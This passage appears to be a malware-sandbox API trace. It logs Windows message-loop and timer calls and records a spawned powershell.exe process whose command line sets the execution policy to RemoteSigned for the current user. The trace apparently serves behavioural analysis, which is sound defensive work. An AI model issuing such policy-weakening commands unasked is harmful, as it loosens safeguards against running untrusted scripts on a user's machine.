TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.779] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.779] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.780] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.826] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.826] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.826] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.826] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.826] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.826] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.826] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.827] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.842] TranslateAcceleratorW (hWnd=0x301ac, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.842] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.842] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.842] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.873] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.873] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.873] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.873] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.849] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0063.849] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.849] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.849] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.887] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0063.887] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.887] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.887] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.887] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0063.887] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.887] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.888] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0064.196] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0064.196] TranslateMessage (lpMsg=0x18e548) returned 0 [0064.196] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0064.197] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0064.197] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0064.197] TranslateMessage (lpMsg=0x18e548) returned 0 [0064.197] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0064.200] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0064.215] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0064.215] TranslateMessage (lpMsg=0x18e548) returned 0 [0064.215] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0064.216] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0064.216] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0064.216] TranslateMessage (lpMsg=0x18e548) returned 0 [0064.216] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0064.217] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0064.265] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0064.265] TranslateMessage (lpMsg=0x18e548) returned 0 [0064.265] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0064.265] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0064.265] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0064.265] TranslateMessage (lpMsg=0x18e548) returned 0 [0064.265] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0064.266] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0064.308] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0064.308] TranslateMessage (lpMsg=0x18e548) returned 0 [0064.308] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0064.308] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0064.308] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0064.308] TranslateMessage (lpMsg=0x18e548) returned 0 [0064.308] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0064.309] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0064.355] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0064.355] TranslateMessage (lpMsg=0x18e548) returned 0 [0064.355] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0064.355] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0064.355] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0064.355] TranslateMessage (lpMsg=0x18e548) returned 0 [0064.355] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0064.356] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0064.401] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0064.401] TranslateMessage (lpMsg=0x18e548) returned 0 [0064.401] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0064.402] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0064.402] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0064.402] TranslateMessage (lpMsg=0x18e548) returned 0 [0064.402] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0064.403] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0064.449] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0064.449] TranslateMessage (lpMsg=0x18e548) returned 0 [0064.449] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0064.449] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0064.449] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0064.449] TranslateMessage (lpMsg=0x18e548) returned 0 [0064.449] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0064.450] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0064.509] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0064.509] TranslateMessage (lpMsg=0x18e548) returned 0 [0064.509] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0064.509] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0064.509] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0064.509] TranslateMessage (lpMsg=0x18e548) returned 0 [0064.509] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0064.510] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0064.542] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0064.542] TranslateMessage (lpMsg=0x18e548) returned 0 [0064.542] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0064.542] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0064.542] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0064.542] TranslateMessage (lpMsg=0x18e548) returned 0 [0064.542] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0064.543] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0064.589] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0064.589] TranslateMessage (lpMsg=0x18e548) returned 0 [0064.589] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0064.589] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0064.589] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0064.589] TranslateMessage (lpMsg=0x18e548) returned 0 [0064.589] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0064.591] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0064.635] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0064.635] TranslateMessage (lpMsg=0x18e548) returned 0 [0064.636] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0064.636] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0064.636] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0064.636] TranslateMessage (lpMsg=0x18e548) returned 0 [0064.636] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0064.637] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0064.682] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0064.682] TranslateMessage (lpMsg=0x18e548) returned 0 [0064.682] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0064.682] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.650] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0065.650] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.650] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.650] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.696] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0065.696] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.696] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.696] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.696] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0065.696] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.696] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.698] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.744] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0065.744] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.744] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.744] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.744] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0065.744] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.744] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.745] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.790] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0065.790] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.790] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.790] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.790] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0065.790] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.790] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.792] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.837] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0065.837] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.837] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.837] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.837] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0065.837] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.837] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.838] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.886] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0065.886] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.886] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.886] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.886] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0065.886] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.886] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.887] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.930] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0065.930] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.930] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.930] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.930] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0065.930] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.930] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.931] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.977] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0065.977] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.977] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.977] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.977] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0065.977] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.977] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.978] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0066.024] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0066.024] TranslateMessage (lpMsg=0x18e548) returned 0 [0066.024] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0066.024] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0066.024] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0066.024] TranslateMessage (lpMsg=0x18e548) returned 0 [0066.024] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0066.025] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0066.071] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0066.071] TranslateMessage (lpMsg=0x18e548) returned 0 [0066.071] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0066.071] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0066.071] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0066.071] TranslateMessage (lpMsg=0x18e548) returned 0 [0066.071] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0066.072] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0066.117] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0066.118] TranslateMessage (lpMsg=0x18e548) returned 0 [0066.118] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0066.118] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0066.118] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0066.118] TranslateMessage (lpMsg=0x18e548) returned 0 [0066.118] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0066.119] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0066.164] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0066.164] TranslateMessage (lpMsg=0x18e548) returned 0 [0066.164] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0066.164] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0066.164] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0066.164] TranslateMessage (lpMsg=0x18e548) returned 0 [0066.164] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0066.165] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0066.336] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0066.336] TranslateMessage (lpMsg=0x18e548) returned 0 [0066.336] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0066.336] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0066.336] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0066.336] TranslateMessage (lpMsg=0x18e548) returned 0 [0066.336] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0066.337] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0066.383] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0066.383] TranslateMessage (lpMsg=0x18e548) returned 0 [0066.383] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0066.383] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0067.350] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0067.350] TranslateMessage (lpMsg=0x18e548) returned 0 [0067.350] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0067.350] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0067.397] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0067.397] TranslateMessage (lpMsg=0x18e548) returned 0 [0067.397] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0067.397] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0067.397] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0067.397] TranslateMessage (lpMsg=0x18e548) returned 0 [0067.397] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0067.399] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0067.443] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0067.443] TranslateMessage (lpMsg=0x18e548) returned 0 [0067.443] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0067.443] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0067.444] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0067.444] TranslateMessage (lpMsg=0x18e548) returned 0 [0067.444] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0067.444] GetMessageW (lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) [0067.452] NtdllDefWindowProc_W () returned 0x1 [0067.452] NtdllDefWindowProc_W () returned 0x1 [0067.452] NtdllDefWindowProc_W () returned 0x0 [0067.453] NtdllDefWindowProc_W () returned 0x0 [0067.454] NtdllDefWindowProc_W () returned 0x0 [0067.454] NtdllDefWindowProc_W () returned 0x1 [0067.456] NtdllDefWindowProc_W () returned 0x0 [0067.456] NtdllDefWindowProc_W () returned 0x0 [0067.457] NtdllDefWindowProc_W () returned 0x0 [0067.457] NtdllDefWindowProc_W () returned 0x0 [0067.457] NtdllDefWindowProc_W () returned 0x2 [0067.457] NtdllDefWindowProc_W () returned 0x0 Thread: id = 58 os_tid = 0x114 [0050.323] timeGetTime () returned 0x1b402 [0050.323] timeGetTime () returned 0x1b402 [0050.323] Sleep (dwMilliseconds=0x3e8) [0051.329] timeGetTime () returned 0x1b7f8 [0051.329] timeGetTime () returned 0x1b7f8 [0051.329] Sleep (dwMilliseconds=0x3e8) [0052.686] timeGetTime () returned 0x1bbee [0052.686] timeGetTime () returned 0x1bbee [0052.686] Sleep (dwMilliseconds=0x3e8) [0053.934] timeGetTime () returned 0x1bfe4 [0053.934] timeGetTime () returned 0x1bfe4 [0053.934] Sleep (dwMilliseconds=0x3e8) [0054.948] timeGetTime () returned 0x1c3da [0054.948] timeGetTime () returned 0x1c3da [0054.948] Sleep (dwMilliseconds=0x3e8) [0056.043] timeGetTime () returned 0x1c7d0 [0056.043] timeGetTime () returned 0x1c7d0 [0056.043] Sleep (dwMilliseconds=0x3e8) [0057.055] timeGetTime () returned 0x1cbc6 [0057.055] timeGetTime () returned 0x1cbc6 [0057.055] Sleep (dwMilliseconds=0x3e8) [0058.115] timeGetTime () returned 0x1cfbc [0058.115] timeGetTime () returned 0x1cfbc [0058.115] Sleep (dwMilliseconds=0x3e8) [0059.187] timeGetTime () returned 0x1d3e0 [0059.187] timeGetTime () returned 0x1d3e0 [0059.187] Sleep (dwMilliseconds=0x3e8) [0060.743] timeGetTime () returned 0x1d9e9 [0060.743] timeGetTime () returned 0x1d9e9 [0060.743] Sleep (dwMilliseconds=0x3e8) [0062.525] timeGetTime () returned 0x1e0bc [0062.529] timeGetTime () returned 0x1e0bc [0062.529] Sleep (dwMilliseconds=0x3e8) [0063.528] timeGetTime () returned 0x1e4b2 [0063.528] timeGetTime () returned 0x1e4b2 [0063.528] Sleep (dwMilliseconds=0x3e8) [0064.542] timeGetTime () returned 0x1e8a8 [0064.542] timeGetTime () returned 0x1e8a8 [0064.542] Sleep (dwMilliseconds=0x3e8) [0065.556] timeGetTime () returned 0x1ec9e [0065.556] timeGetTime () returned 0x1ec9e [0065.556] Sleep (dwMilliseconds=0x3e8) [0066.695] timeGetTime () returned 0x1f094 [0066.695] timeGetTime () returned 0x1f094 [0066.695] Sleep (dwMilliseconds=0x3e8) Process: id = "10" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x450f4000" os_pid = "0x330" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x7fc" cmd_line = "powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 56 os_tid = 0x7a0 [0053.829] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0054.042] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0054.042] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0054.042] SysStringByteLen 